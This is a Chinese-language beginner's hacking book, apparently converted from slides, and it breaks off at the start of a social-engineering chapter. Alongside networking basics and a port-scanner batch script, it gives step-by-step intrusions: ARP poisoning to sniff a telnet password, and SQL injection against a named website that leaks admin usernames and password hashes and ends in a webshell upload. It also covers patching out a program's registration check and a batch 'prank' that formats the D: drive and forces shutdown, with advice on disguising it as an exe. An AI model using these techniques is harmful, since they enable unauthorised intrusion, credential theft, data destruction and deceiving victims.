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前言

很多男孩从小就对黑客有所幻想，黑客帝国中Neo的形象又是那
么挥之不去，笔者也一样，憧憬着有一天自己也可以变成那个cool 
guy，拯救世界。

然而在成为黑客之前，先要思考一个问题：黑客是什么？一袭黑
衣坐在电脑前，嘴角带着微笑敲击键盘的神秘人？

不。黑客就在你身边，也许就在隔壁默默借用着你家无线网，顺
便用你的id发发帖子；也许和你同一个办公室，每天默默向外传输资
料；也许正盯着网络摄像头中裸睡的你悄悄录下每一个细节......当然，
他也有可能就是你，或者......不久以后的你。

这本书将带着你悄悄掀开黑客的神秘面纱，让你有机会接触到那
些神奇的技能和知识，当你大概了解之后，后面的路就要靠你潇洒地
自己走了。在这条路上你也许会遇到很多在电影中才能遇到的场景和
人，可无论走得再远，请记住两个字：

敬畏
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编者的话：

本书中的内容面向刚入门的小白

读者并不需要很高的技术水平

但希望通过本书展示的各种技能

让大家找到自己的方向

好好努力向那里努力

有一天成为真正的黑客大神

所谓黑客，则并不意味着你要
用自己所掌握的技术去破坏，
而是在攻击中寻找防御的方法，
在这看不见硝烟的网络战场上
为和平尽一些微薄之力。



1.加深对互联网的了解



什么是互联网

提到互联网，大家头脑中立刻
浮现出的也许就是浏览网页，
聊天，网上购物等等，这些都
是互联网带来的便利，然而想
成为一名合格的黑客，你一定
要对互联网本身的工作机制了
解的更加清晰。由于篇幅有限
且读者的水准定位为0基础的小
白，这里就用通俗易懂的语言
浅浅的谈谈互联网而不过于专
业或精深，以免引起大家对这
门技术的畏惧感，但想要深入
研究的朋友就需要自己翻阅大
量其它资料了。

互联网的分类：
广域网：广域网的范围很大，从几
十公里到数千公里不等，形成
国际间的网络

城域网：一个城市内建立起的网络，
有着很快的传输速度，范围从
几公里到几十公里不等

局域网：多台计算机组成的一个计
算机组，同处一个局域网的计
算机可以相互通信



网络协议的概念

为计算机网络中进行数据交换
而建立的规则、标准或约定的
集合。简单的说，网络协议就
像是计算机间相互交流的语言
和翻译机，有了这些协议，互
联网中的计算机便可以相互间
“索取”服务或者提供服务。
TCP/IP协议族无疑是我们重要
的学习对象，OSI模型中将其划
分为7层：应用层，表示层，会
话层，传输层，网络层，数据
链路层，物理层。每一层都为
上层协议提供支持服务

7.应用层：位于OSI模型的最上
层，提供我们熟悉的网络服务，
如http,ftp,telnet等
6.表示层：起到翻译机的作用，
使得不同主机间的“语言”统一
5.会话层：用于建立及维持会话
4.传输层：负责数据的传输，常
见的在传输层的协议有TCP，
UDP
3.网络层：管理网络中的数据通
信

2.数据链路层：将源机网络层来
的数据可靠地传输到相邻节点
的目标机网络层

1.物理层：互联网所需要的各种
硬件设施



互联网的寻址技术

互联网中有成千上万台计算机，
于是它们相互之间如何找到对
方便成了一个问题，通常我们
用IP地址来标识一台处在互联
网中的计算机。而用端口号指
定要连接的这台计算机上所提
供的服务，例如：

115.239.210.27:80
这个地址就指向ip为
115.239.210.27主机80端口所
提供的服务，此外我们也可以
使用对应的域名地址指向这台
主机：baidu.com，因为dns协
议将协助把域名解析成为ip地址

通常计算机有65536个协议端口，
前1024个端口通常有指定服务，
一般不去更改，而1024到
65535则为动态端口，可以将自
己的服务设置在上面。

IP的分类：
A类地址：
1.0.0.1—126.255.255.254 
 B类地址：
128.0.0.1—191.255.255.254
C类地址：
192.0.0.1—223.255.255.254
D类地址：
224.0.0.1—239.255.255.254 
E类地址：
240.0.0.1—255.255.255.254  
(请自己查询它们的分类标准)



了解几个常用协议

• telnet:telnet协议的默认端口为
23,允许管理员远程登录主机进
行操作

• ftp:ftp协议用于远程上传或下载
文件到远程服务器，默认端口
为21

• ssh:linux主机常用的远程管理
协议，默认端口为22

• http:超文本传输协议，构成web
的主要协议，默认端口为80

• ftps:使用ssl的ftp协议
• https:在http协议的基础上添加
的ssl加密，使得传输更为安全

• rdp:远程桌面登录，默认端口为
3389

• 除此以外还有很多重要的端口，
如25，110，135，139，443，
445等

• 除这些协议外，网络应用程序
使用的端口中比较重要的还有：

• sql server:1443端口
• mysql:3306等等

• 这些知识就需要大家平时自己
努力去积累和学习了，我们在
这里就不过多的占用篇幅。



小结

互联网本身便是黑客生存之所，一个无法
深入了解互联网的人想要成为一个技术高
超的黑客几乎是痴心妄想。这里所提到的
内容只是一个极其狭窄的普及，还有非常
多的知识需要读者自己去学习，领悟。



2.黑客能做什么



Alert(误区)
如果我想要做好一件事，一定
会先去弄清它的范围和限制。
所谓黑客也一样，并非万能，
只有你认清自己能力才可以在
此基础上做的更好。这也是为
何笔者要单独列出一章来强调
的原因。
当人们提到黑客，第一反应总
是：你会盗号吗？似乎盗号成
为了黑客的代名词。
而事实上我也明白，有些正读
到此处的读者心理也存着这样
一个想法：学完这本书我就会
盗号了。那么不得不说的是：
让你失望了，因为这是人们对
黑客一个普遍的误区。

既然我说是误区，自然有理由，
在纠正这个幻想之前，想要学
好技术将会成为不可能的事情。
所以下面我将仔细进行说明：

现在盗号的手法普遍很简单，
钓鱼页面，钓鱼软件，键盘记
录木马等等。使用这些东西的
人心怀鬼胎，却往往不具有什
么高深的技术，他们只是找到
软件，加以玩弄罢了。

其次，高级的“盗号技术”也并非
没有，如通过XSS的cookie劫
持，登陆的绕过等等，然而这
些漏洞通常会在很短的时间内
被公司补上，真正拥有此类不
为人知的0day的人，却绝不会
为了可笑的理由随意盗号。



他们在做什么

纠正完误区，我们就该来说说看黑
客们究竟有哪些不为人知的技能了：

软件破解

渗透测试

资料窃取

拒绝服务攻击

手机监听

隐私窃取

黑帽SEO
.....................

本书中将不涉及到手机监听和
黑帽SEO的知识，感兴趣的朋
友可以自行查找资料



• 软件破解技
术

• 渗透测试

• 资料窃取

• 拒绝服务攻
击

• 隐私窃取

借助一系列调试与对原程序的修改，黑客可以
修改其中的部分功能以让自己满意，入跳过注
册环节，在程序中插入自己的标志等等

渗透测试分为黑盒测试和白盒测试，白盒测试
将在已掌握目标大量信息的基础上展开，而实
战中的渗透测试通常都是黑盒测试。

在成功的入侵目标后将目标服务器或主机上的
信息下载至本地，最常见的资料窃取，如脱库

通过一定方法使得目标无法死机，断网等从而
达到中止其服务的目的

通过一定手段收集目标的隐私，如：在安卓手
机中植入木马窃取信息等



小结

每个人的精力都是有限的，不可能什么都
会。纵然笔者也希望什么都学，却也深深
地感到力不从心，只有找到自己最感兴趣
的方向，向它努力，才可以做的更好，通
过后面章节的学习，相信读者会对各个方
向有更清晰的认知。



3.你所需要的工具



虽然我们总是在强调，只会用

工具的黑客只能算脚本小子，
但事实上没了工具的黑客就像
上战场没带枪的战士，依然可
以靠拳头打仗，却总打败仗，
作为初学者，清楚地理解各种
工具的作用将会为你的道路铺
上一条平坦的石砖路。

• 端口扫描器
• 各种网络模块
• 抓包工具
• 系统漏洞扫描器
• 漏洞利用平台
• 浏览器
• WEB爬虫
• WEB漏洞扫描器



• 端口扫描器
windows常用到的一款扫描器莫过于S扫描器，它所利用的是微软早
期自己开发的一个网络模块s.exe,后文中我们将利用s.exe自己打造一
款命令行下的端口扫描器，而很多人为了让新手能习惯，更是打造出
了GUI版的S扫描器,如图：

同为端口扫描器的NMAP更是
因为它的做工精巧，功能强大

而获得安全人员们的广泛认可

虽然NMAP也有名为ZENMAP
的GUI版扫描器，很多人还是喜欢在命令行下是用它，同时它也可以
和MSF等漏洞利用框架配合使用



• 网络模块
事实上，我们的系统本身就有很多网络模块，下面就以windows xp为
例介绍介绍其中的常用的模块与指令，首先win键+R运行cmd，然后
在cmd中输入如下的指令：

1.ping 127.0.0.1
ping的作用是向目标IP地
址发送icmp数据包，从而
可以确定连通性，同时我

们也可以通过ping来获取
域名所对应的服务器IP地
址。



2.ftp
ftp可用于在ftp服务器
上的上传下载。

• 3.telnet 127.0.0.1
如之前所介绍，telnet
用于登陆远程服务器
并管理，但也可以用
于各端口开启状况的
测试



• 4.arp -a

arp模块用于操作主机的arp缓存表，-a参数为列出缓存表，-d为清空。



• 抓包工具
抓包工具可以让我们更好的了解网络中的流量，以及获取
我们感兴趣的数据包等。常见的抓包工具有wireshark,以
及web抓包工具zap,burp-suite等。



• 系统漏洞扫描器
系统漏洞扫描器不仅仅可以满足黑客的需要，也可以让网络管理员找

到自己所做不足之处，好加以改进，较为流行的扫描工具有
nessus,openvas，国内前几年安全焦点的扫描工具x-scan3.3已经小
榕的流光也是不错的选择



• 漏洞利用平台
实话说漏洞利用平台的概念有点大，这里只简单的说一说两种平台：

第一种是各种exp的合集利用框架，如msf:



• 除此之外还有一些针对指定类型漏洞利用的平台，如XSS平台等，国
内常见的XSS平台有xssing.me和xss platform等



• 浏览器
对一个在进行web渗透的黑客而言浏览器无疑是最重要的伙伴，而适
宜黑客使用的浏览器莫过于火狐，它各种各样的小插件将让你欲罢不
能，如firebug,firecookie等。当然，owasp mantra也是一个很不错的
选择（基于firefox/chrome）



• WEB爬虫
好的web爬虫可以帮助黑客在短时间内摸清网站的结构，这些爬虫常
常由黑客自己打造，但现在的web扫描器通常集成了这个功能，正如
我们下面将要介绍到的



• WEB漏洞扫描器
web漏洞扫描器的作用在web渗透中是很重要的，即使它没有直接挖
掘的到漏洞，也可能间接的给你思路，常见的WEB漏洞扫描器有
owasp zap，W3aF，WVS等。



小结

工具纵然好，可如果一味地使用别人使用
的工具将永远也得不到进步。很多时候，
你需要自己开发一些小工具，而这需要一
定的编程基础，作为一个入门新手，比较
推荐从python/perl等脚本语言入手，享受最
轻松，最愉悦的编程之路，也许以后的某
些教程中，就会出现你所写的工具



4.制作最简单的端口扫
描器



准备知识

我们这里将要着手尝试制作你的第
一个扫描器

说是制作，不如说是改造，因为
s.exe本身就是一个早期DOS下较
为完备的端口扫描工具，而我们现
在所做的则是用批处理将其制作的
更为人性化一些，从而满足个人需
求，市场上成熟的端口扫描器很多，
单独列出这章的目的其实是为了打
消还从未接触过命令行甚至cmd窗
口的新手对其恐惧感，简单阐述下
批处理，就是对某对象进行批量的
处理，从而将事情简化，想要掌握
批处理，还得先掌握部分CMD指令，
读者可自行参考本书的附录部分 

如何使用批处理脚本调用s.exe?

其实很简单，只需要把s.exe和
批处理文件放在同一个文件架
下，就可以直接进行调用而不
用输入s模块的绝对路径，同样，
扫描过程中生成的文件也将会
生成在文件夹内



认识S模块
我们已经简单了解过了要做什么，下面就从最核心的s.exe开始了解。
在cmd中切换至s模块所在目录，输入s.exe并回车，你将看它的使用
方法说明：

不难看出，调用s.exe需要三个参数：扫描类型，目标ip地址以及端口
号，格式如：s.exe 扫描类型 IP地址 端口
我们这次制作的小工具中将使用TCP扫描，IP和端口两个变量则从用
户输入获取，概定地址的变量名为ip,端口的变量名为port.



了解端口扫描原理

细心的读者看到前页的图片时
应该已经发现，s.exe的扫描方
式有两种，tcp和syn。tcp这个
词在第一章讨论网络协议时已
经出现过，我们曾说过TCP协
议运行在OSI模型的传输层，那
么我们是如何利用它进行端口
扫描的呢？syn扫描又是一种什
么样的扫描方式呢？想要弄明
白这些问题我们需要先弄清tcp
协议是如何在互联网中的两台
计算机之间建立起来的。

TCP是一种面向连接的、可靠
的、基于字节流的传输层通信
信协，而建立两台计算机间连
接的过程则需要三次握手，如
下图所示：

首先主机A向B发送一个SYN包
请求发起连接，而主机B则返回
一个SYN_ACK包作为回复，主
机A收到来自B的答复后将再发
送一个数据包到B以建立连接。



如何判断端口是否
开放

刚才已经简单阐述了TCP连接
的建立过程，那么我们如何利
用判断端口是否开起呢？其实
很简单，扫描器向目标主机的
制定端口发起一个TCP连接，
如果连接建立成功，则目标的
端口正处在监听状态，反之则
处于关闭状态。

TCP扫描又被称为全连接扫描，
因为它建立了一个完整的连接，
这种扫描准确性高，但动静大，
速度慢，容易被目标察觉。相
反的，SYN扫描则速度很快，
且较为隐蔽。

• SYN扫描原理
SYN扫描被称为半连接扫描，
因为它并不完整的执行一次
TCP连接过程。
SYN的扫描原理是，向目标主
机发送第一个数据包后通过收
到的答复数据包判断端口是否
开起，如果收到的SYN|ACK包
则说明目标端口开启，如果收
到的是RST包，则判断目标端
口关闭。



着手写批处理

在开始编写之前。读者需要稍
微了解一点批处理的使用方法

通常批处理的开头为@echo off 
它的作用是禁止回显，也就是
不让命令的执行过程显示在
cmd窗口中，调试过程中如果
想仔细观察每一步的运行过程，
也可以把它设置为@echo on。
如何使用变量：

如果我们已经有了一个变量a并
想在批处理中调用它，只需要
在它的两边加上百分号即可，
如%a%

需要用到的指令：

1.echo:输出内容
2.title:设置当前批处理的题目
3.color:设置批处理的字体
4.set:获取，设置变量
5.cls:清屏
6.del:删除文件
7.pause:暂停批处理文件的运行

以上指令各自有自己的参数，
请读者自己单独执行并尝试学
会如何使用这些指令。



批处理文件源码

@echo off
color A
title S扫描器
echo ================== 
del result.txt
set /p ip="(输入要扫描的IP地址,格式如

0.0.0.0)===>" 
set /p port="(输入你要扫描的端口,格式如

21,23,25,110...)===>"
cls
echo ==================
echo 正在扫描%ip%的端口,请等待
s tcp %ip% %port% >> result.txt
pause

请不要惊讶，如左边所示便是
我们批处理文件的全部源码，
非常短小便于理解，下面就详
细说明下它的原理：

@echo off:设置禁止回显
color A:设置颜色为A(但绿色)
title S扫描器:设置标题为"S扫器具"
echo =====:输出一个分割行
del result.txt:删除之前生成在当前目录
的扫描结果文件

set /p ip="....":从键盘获取变量ip及端口
的值

cls:清屏
echo 正在扫描%ip%...:输出提示语
s tcp %ip% %port% >> result.txt:将扫
描结果导入result.txt
pause:暂停程序运行等待退出。



测试扫描器：
写好了批处理，把它和s.exe放在同一个文件夹下，双击打开，开始
测试我们的扫描器：

测试扫描目标主机218.94.36.177的3333端口，看到pause的提示了
以后意味着扫描已经完成，我们可以点开批处理所在的文件夹，查看
result.txt中保存的扫描结果。



可以看到，扫描完成后结果已经生成到result.txt中，根据结果显示，
目标主机218.94.36.177的3333端口处于开起状态，之前我已经检测
过并确认这台主机把ftp服务转发到了3333端口，现在我们来访问它试
一试：

由此可见，端口是开启
的我们的扫描结果是正
确的。



小结

这是一个非常简单的小制作，虽然简单，
却能同时让你对DOS指令，批处理和端口
扫描原理有所了解，相信经过亲自动手尝
试后你也有一些更深刻的体验了，下面就
让我们开始真正有趣的实战吧



5.小试牛刀:内网嗅探



何为内网

作为一个“有见识的”小白，也许
你常会听到别人的讨论中有“内
网”这个词，但却始终对它的定
义比较模糊。

事实上，你完全可以简单的认
为内网就是局域网，小的局域
网也许只靠家中一台路由器建
立起来，也可能是在大公司中
由多台服务器，交换机，路由
器，硬件防火墙等各种复杂设
备组成，在这样一个主机之间
距离很近的网络中，一些网络
协议和服务将为我们的渗透提
供很大方便。

常见的内网地址:
10.x.x.x
172.16.x.x至172.31.x.x
192.168.x.x

何为嗅探

嗅探的作用在于监听网络中的
数据包，通过嗅探我们可以从
数据包中获得我们想要得到的
信息并加以分析利用，无论对
于网络管理员还是黑客而言，
嗅探都是一项必会的知识。

（提示:由于篇幅有限我们这里
不详细描述原理而重过程，请
读者自行了解arp协议及arp嗅
探的原理）



此次渗透的背景与目标

作为本书的第一次实践，对新
手养成日后渗透的良好习惯有
至关重要的作用。所以我们不
妨花费少量篇幅对习惯进行简
单的强调：

首先在一次测试之前，我们要
弄清所处的环境和目标。弄不
清自己面对的测试环境就如同
一艘轮船在下水前没弄清水深，
容易搁浅，而没有一个明确地
目标。渗透测试将很难顺利地
展开。

本次测试的实验环境及目标如
右侧所示：

攻击者(本人)使用的主机地址:
192.168.101.134
受害主机的地址:
192.168.101.132
网络管理员的主机地址:
192.168.101.136

此次渗透测试的目的:

成功入侵IP为192.168.101.132
的受害主机吗，并删除其中一
份名为“三(1)班成绩报告单.txt”
的文件

在明确了渗透的背景与目标之后就

可以开始我们的第一次小试牛刀了



对目标主机进行踩点

作为一个攻击者，找到突破口
通常是最重要的一步，想要达
到自己的目标就必须对目标有
足够深入的了解，而对于一台
主机最初步的了解莫过于对其
进行端口扫描，从而判断主机
提供了哪些服务。这时我们前
一章所制作的小小端口扫描器
便派上用场了，打开s扫描器的
批处理文件后，输入地址

192.168.101.132,回车后输入端
口21,23,53,445,3389等等并查
看最终的扫描结果：



制定入侵计划

从扫描结果中我们可以清楚的
看到，目标端口23 open。
参考一下第一章中我们所提到
的知识，你将会意识到，也许
是网络管理员为了方便对主机
的管理，目标主机可能开启了
telnet远程登录。
我们可以尝试telnet连接目标主
机一试：

输入telnet 192.168.101.132之
后我们看到如下画面，这意味
着目标的确开启了telnet登录，
所以我们下面所缺少的只是登
录的用户名和密码了。此时第
一个浮现在你大脑中的次就应
当是嗅探了：telnet登录的账户
密码是以明文传输，只要监听
到管理员登录到主机的账户和
密码，我们也就可以轻轻松松
的利用其登录账户登录这台主
机了！



嗅探神器Cain

决定如何下手后我们需要寻找
合适的武器，之前讲到黑客工
具时提到过一款名为wireshark
的嗅探工具，然而在这里我们
将介绍另外一款神器:cain
cain事实上是一个工具包，其
功能很强大，远远不止arp嗅探
这么简单，如dns欺骗，密码破
解等，但这里我们不多说，只
是用它的嗅探功能。

下载地址:
http://www.liangchan.net/liangc
han/2413.html

安装过程:
解压缩安装包后，你将看得到
如下三个文件，首先你需要安

装winpcap来为cain提供支持,双击，
一路点确定即可

如果xp系统提示确实packet.dll
请自行下载并解压至
c:\winodws\system32中



安装完成后双击打开cain你将看到如下的界面，此时准备就绪，就可
以直接进入密码嗅探环节了。



首先点进嗅探器一栏，你会看到如下界面，此时激活嗅探器(点击           )

激活后再

点击蓝色
的加号标
志，对整
个内网进
行一个扫
描。



点击小加号后将跳出右侧这样
一个小窗口，点到范围，对我
们所在的网段：192.168.101.1
至192.168.101.254进行主机发
现，扫描后看到如下结果：



点击下方菜单栏中的ARP一栏，并再次点击小加号，弹出窗口：新的
ARP Posion Routing，点中目标主机192.168.101.132后在右边将全部地
址选中，再点击确定。



这之后我们将看到如上图的画面，此时点上方图标中由左向右第三个
像辐射似的小图标，开始对目标主机进行arp缓存中毒。



完成上面的所有工作之后我们就可以松口气慢慢等待结果了，点进下
方菜单中的口令一栏，耐心等管理员登录目标主机



忽然发现telnet的列表中增加了一个数据包，这说明管理员应该登录
了这台目标主机且我们的嗅探器监听到了这个数据包。



右击新增数据包并点击查看，
我们可以看到cain替我们分析
过的数据包的内容，login和
password应当是telnet登录的账
户和密码。

虽然有一定乱码问题存在我们
还是可以轻易看出，账户名是
administrator，密码为lib123



拿到目标主机的账户和密码以后就一切很好办了，首先来尝试登录这
台主机：

果然，成功登录进了我们的目标主机，这是一个挺激动人心的时刻，
第一次成功入侵了一台电脑。

激动过后就该去完成我们需要完成的任务了：删除目标主机中的一个
文件



很快，我在C盘的根目录下找到了这份目标文件，只需要一条del
指令，便轻松地将其删除掉了。



小结

看完本章，也许你已经初步了解了内网嗅
探的方法，然而还完全没能理解其原理，
那么请仔细的搜索一些arp协议的资料并阅
读，并尝试对arp缓存中毒的知识进行更深
一步了解



6.网站入侵小记



WEB渗透技术简介

• 在国内，web渗透技术的研究
者似乎有点数不胜数，可事实
上他们中的99%都只停留在
“脚本小子”的阶段，这是一个
用于形容那些只会使用几个工
具对网站进行“碰运气”尝试入
侵的“小黑客”的词汇，本章的
这次渗透掩饰由小叶提供，他
将展示那些“脚本小子”们所最
常用的一种入侵方式，同时他
也提醒读者们，如果想要进一
步提高技术，脱离脚本小子行
列，还是更多的掌握一些web
脚本语言，以及多在论坛中了
解一些别人的渗透经验才行。

常见web应用程序所存在的漏洞：

1.sql注入漏洞
sql注入漏洞出现在web应用
与数据库交互设计不严谨的情
况下，它通常会对站点造成很
严重的后果，正如我们本章要
演示的一样。

2.XSS漏洞
XSS是web前端中最常见的一
种攻击手法，而应用在对网站
本身的渗透中时，cookie劫持
是最常见的利用方式。

3.上传漏洞
一些网站在上传处并没有做过
多限制，导致了普通用户可以
通过上传直接getshell的下场。



owasp top10

• owasp是一个对web安全研究
非常到位的组织，它们每年都
会对常见的web漏洞进行评估
与排名，除了我们之前提到的
三种最为直接且偷懒的漏洞外，
还有上百种web漏洞，而这些
漏洞的利用方式有些非常复杂，
有些构造精巧让人惊叹，这里
把owasp2013所总结的十大
web安全漏洞列出供读者参考，
读者可自行对它们进行了解并
加以学习。



目标:www.zz3z.net
• 渗透目的：

• 成功进入管理后台并上传webshell

• 成功的漏洞利用方法：

• sql注入

• 所需要的工具：

• 阿D注入工具，御剑后台扫描器

• webshell:
• 不灭之魂asp大马



渗透笔记

• 首先，面对目标站点的时候
我们第一反应应该是去查看
一下站点根目录下的
robots.txt，这个文件中的url
地址是为了防止搜索引擎抓
录而设计的，常常有敏感地
址，不过再本次渗透中，网
站并没有设置robots.txt

• 于是我们想到用搜索引擎来
找出一些可能的敏感信息。
因为已经发现时asp的站点，
我们可以用如下的搜索语法
去尝试找出容易存在sql注入
点的地方：

•  site:www.zz3z.net inurl:asp?



• 运气不错我们发现在url地址
http://www.zz3z.net/Article_CommentShow.asp?ArticleID=658
处存在sql注入点（检测的方式可以用一些自动化工具，也可以通
过在url地址结尾处加

• 上'以及and 1=1判断
• 法等）

• 于是我们进一步使用阿

• D来进行sql注入。
• 阿D是一个很适合新手
• 使用的sql注入工具，
• 读者所需要做的只是

• 检测->检测表段->检测
• 字段->检测内容 即可。



•                                                 可以看到，表段中有
   admin，而管理员信
  息也通常正是存在于
   此，所以我们继续检
  测其中的字段
   username和
    password。

• 下页中列出了我们检测到的username以及password的内容：



• username内容:jdx
• password内容:555d40ebde97b587
• username内容:liang
• password内容:8f093359fe1af416
• username内容:orchid
• password内容:9368be032f0931af
• username内容:shangshan
• password内容:3f7bc4376556218f
• username内容:student 

• 可以看出密码是进过md5加密的。我们可以到一些网
站，例如www.cmd5.com或md5.com.cn等中去碰撞
猜解明文密码



• 随后我们用御剑后台扫描工具对后台地址进行猜解，从而找到了网站
管理的后台登陆地址为：

• 　　http://www.zz3z.net/zzgl00.asp
• 得到后台地址以及我们所注入出的用户名以及解密后的password了，
就具备了足够的用于登陆后台的信息，登陆后的界面如下：



上传webshell

• 　　进入后台
了。

• 　　看一下后
台基本功能。
有数据库备份
功能。

• 　　那我们就
来进行数据库
备份拿shell吧



• 　　首先找一个上传的地方传我们的木马（jpg格式的图片马）
• 　　UploadThumbs/2014124193555834.jpg
• 　　这里是图片地址

• 　　然后进行数据库备份



成功得到webshell
• 备份目录写我们图片马的地址
• 备份名称则为asp格式的马就可以了
• 这里要说一下。因为系统不一样，所以会出现找
不到路径的情况

• 这里有两个原因1、马子被杀
•      2、/的不一样  有时候需要加/ 
有时不加/

• 备份成功就拿到shell了
• www.zz3z.net/Databackup/a.asp



7.破解一个小程序



软件破解技术简介

• 事实上我们中国自古以来都
有一个优良品德：因为妈妈
从小就教导我们，好东西要
和大家分享，所以版权保护
几乎成为了挑战人们道德底
线的一样东西...于是，“正义
的”黑客们挺身而出，破解这
些软件，将其化付费为免费，
实现了广泛的公开共享...仔
细想一下，如果你使用各种
软件到现在还几乎没有付过
费用，那请心怀感激，因为
这是伟大的黑客们辛勤奉献
的结果。

• 通常，破解一个软件可以是
暴力破解，直接修改软件的
内容，也可以是用写好注册
机等手段实现，这些都离不
开较为扎实的汇编功底和对
反汇编软件的熟练应用，作
为入门的第一个例子，本章
中就将利用最常见的ring3级
反汇编工具Ollydbg对一个小
程序进行暴力破解，从而突
破他的注册环节。



• 首先我们来认识一下这个注册过程，直接点击注册，会发现显示注册
失败，这是必然的，因为我们没有机器码，但在不知道机器码的情况
下我们还是要成功注册，这时可以采取的手段，也是最简单的手段就
是暴力破解，只需要对应用程序文件本身进行修改，将判断机器码是
否正确的

• 流程修改

• 为无论如

• 何都成功，

• 就可以轻

• 松达到我

• 们的目的

• 了。



• 现在我们
用OD加载
程序，看
到程序被
中断在注
册的环节，
现在右击
窗口，find 
unicode来
找出带有
关键字的
字符串



• 现在我们看到注册成功和注册失败的提示语了，这通常意味着判断代
码也可能在附近，而非常走运的是，它就在上方，看到cmp dword ptr 
[ebp-34],0以及je跳转指令了吗？它所进行的操作是，判断注册失败并
跳转到注册失败的处理函数。现在我们可以直接把这条判断跳过去，
最简单的方式：用nop,nop指令就像一个跑到，允许程序毫不被影响
地执行过去。



• 我们将判断
语句进行如
下修改后，
直接保存所
有修改，实
现对文件本
身的修改。



• 可以看到，这个简单的小程序已经成功地
被我们轻松

• 破解了。

hint:事实上，在现实场
景中，很多软件并不是
如此弱智，它们通常会
加上一些“壳儿” 以及通
过一些其它的手段保护
自己，真正对这类技术
感兴趣的朋友必须多花
一些时间去更深入的了
解软件破解技术，才能
成为这个领域的高手~



8.最简单的恶意程序



何为恶意程序

• 事实上即使是不研究计算机技
术的普通用户在日常生活中也
会常常听到“恶意程序”这个词，
因为事实上它给普通电脑用户
带来的伤害常常是最大的，甚
至从一定程度上来说，很多用
户可以误以为恶意软件就是黑
客的全部手段。

• 既然恶意软件臭名昭著，那么
它们又是如何分类的，以及它
们都能造成哪些实际的杀伤
呢？

• 大致上，新手可以这样来模糊
地认识恶意软件：

• 1.远控木马
• 2.蠕虫病毒
• 3.恶意删除资料货窃取数据
• 4.纯属恶作剧的小程序

• 以上的分类并非众皆认可，但
是通过这样简单地概述想必可
以给毫无基础的新人绘制出一
张恶意软件的模糊印象，下面
我们还将进一步谈谈这四种恶
意程序。



加深对恶意软件的认
识

• 1.认识远控木马
• 木马是最为常见的恶意软件之
一，通过一只免杀过关的木马，
黑客可以在受害者不知不觉中
控制着对方的电脑，窃取数据，
恶作剧，甚至可以监控对方的
摄像头。著名的远控木马有灰
鸽子，上兴，以及曾经名噪一
时的国产木马冰河

• 2.蠕虫病毒
• 蠕虫病毒可谓是现在网络里危
害最大的恶意软件，它具有 传
播速度快，造成伤害大等特征，

• 并且由于蠕虫很多时候是基于
漏洞传播的，其防范也成为一
大难题，是众多安全专家的热
门研究方向。

• 3.指定功能的间谍软件
• 间谍软件通常都有着非常明确
地目标，而这些目标常常如同：
窃取资料/删除证据货重要数据
等，所谓树大招风，恶意软件
的功能越多，带来被检测到的
可能性也越大，所以这类恶意
软件通常非常隐蔽难以察觉。

• 4.恶作剧程序
• 也有很多时候，恶意软件并不
一定具有目的性，正如我们这
次将要写的小程序，只是为了
获取一些小小快感罢了~



初步定制恶意软件功能

• 声明：本章节是为了缓
和一下读者疲劳所作，
内容纯属娱乐，勿随意
使用恶意软件影响他人 
PS:由于默认目前读者还
没有掌握C/C++等高级
语言，用简单的批处理
进行本章实验

• 功能1：格式化d盘
• 功能2：在e盘生成1个有
一百行“hacker is 
coming”的名为“you are 
hacked”的txt文件

• 功能3：迫使用户输入一
行文字：“我是白痴”，否
则就在20秒后自动关机。

• 以上的功能代码部分实
现都极其简单，下面就
草草介绍一下需要用到
的几条指令

• 首先我们要确定的是，
我们的小小恶意程序要
实现哪些功能，然后再
对这些功能进行相应的
实现：==========>



• 格式化d盘：
• 格式化指令是format，参数有/u和/p，/u格式化的数据是不可恢复的，
切速度很慢，一个几十G的磁盘格式化甚至可能需要几十分钟到几个
小时，所以我们这里选用/p参数，于是指令就变得非常简单:

• format /p d:

• 在e盘生成100个“you are hacked” txt文件：
• 其实我们在批处理中使用echo 内容 >> 文件就可以创建一个文件了，
每加入一行文字只需要如下一条指令:echo hacker is coming >> 
youarehacked.txt即可，我们for /l %%a in (1,1,100) do *来实现对*指
令的100次操作，所以最终构造出的语句为：

• for /l %%a in (1,1,100) do （echo hacker is coming >> 
youarehacked.txt ）

• 最后，我们为小小的恶作剧做一个结尾：迫使用户输入一行文字：“我
是白痴”，否则就在20秒后自动关机。

• 这里需要用到的指令是shutdown，利用它的三个参数 -s -t -a即可，实
现代码见下页===>>>



• shutdown -s -t 100
• echo 请输入“我是白痴”并回车，否则计算机将在100秒内关机
• loop:
• set /p a="承认吧："
• if "%a%"=="我是白痴" (shutdown -a && exit)
• goto loop

• 做一点解释，第一句通过shutdown -s参数下达关机指令以及使用 -t参
数限定关机时间为100秒，随后输出提示语“请输入“我是白痴”并回车，
否则计算机将在100秒内关机”，之后获取来自用户输入的变量a，如
果a为“我是白痴”，则取消关机并退出当前的cmd窗口。在这个过程中
如果用户输入并不复合规范将什么也不发生，通过loop循环进入下一
轮输入。



完整代码

• 现在我们已经准备好了这发小
小恶意程序的零件，下面就可
以开始组装了，组装成平如下:

• 可以看到，我们只是在开头添
加了一个@echo off 来屏蔽回
显，其它步骤只是把三个步骤
拼装在一起而已~

• 就这样，我们已经完成了当前
最简单的小小恶意软件，下面
来运行一下看下效果：

@echo off

format /p d:

for /l %%a in (1,1,100) do echo hacker is 
coming >> youarehacked.txt

shutdown -s -t 100

echo 请输入“我是白痴”并回车，否则
计算机将在100秒内关机

loop:

set /p a="承认吧："

if "%a%"=="我是白痴" (shutdown -a && 
exit)

goto loop





可以看到，我们已经成功地实现
了所想要完成的三个任务，d盘
被清空，指定目录生成了我们所
期待的txt文件，点开这个程序的
人也不得不输入“我是白痴”来阻
止关机的发生。

也许有人会好奇为何要生成那样
一个奇怪的txt文件，事实上如果
我们在生僻的目录中用更大的循
环生成大量大体积的文件来占用
空间，同样也可以达到一种恶作
剧的效果。

伪装我们的恶意程序
然而，这时我们还应当考虑到一
个问题，一个优点常识的用户都
会意识到这个奇怪的bat文件可
能不怀好意，而且因为批处理是
一种脚本语言，右键用记事本查
看就可以直接看出其中的代码，
这样我们想要整蛊的对象上当就
比较困难了，不过当然，我们可
以为这个简单批脚本穿上一个应
用程序的衣服，从而达到欺骗目
标的效果，我们可以用的工具很
多，例如HA_QuickBF2_CZ

通过这款工具我们可以将bat脚
本编译成为exe文件并自定义软
件的图标，大大增强了欺骗性。

具体的过程这里就不详细演示了，
读者感兴趣的话可自行操作尝试。



9.社会工程学的利用



社会工程学历史

• 很多人（尤其是黑客们）认为社会工程学起源于当代黑客教父凯文米
特尼克，因为这个词事实上正是他首次提出的，而其著作《欺骗的艺
术》更是社会工程学的典藏之作。于是理所当然的，这项学问就被归
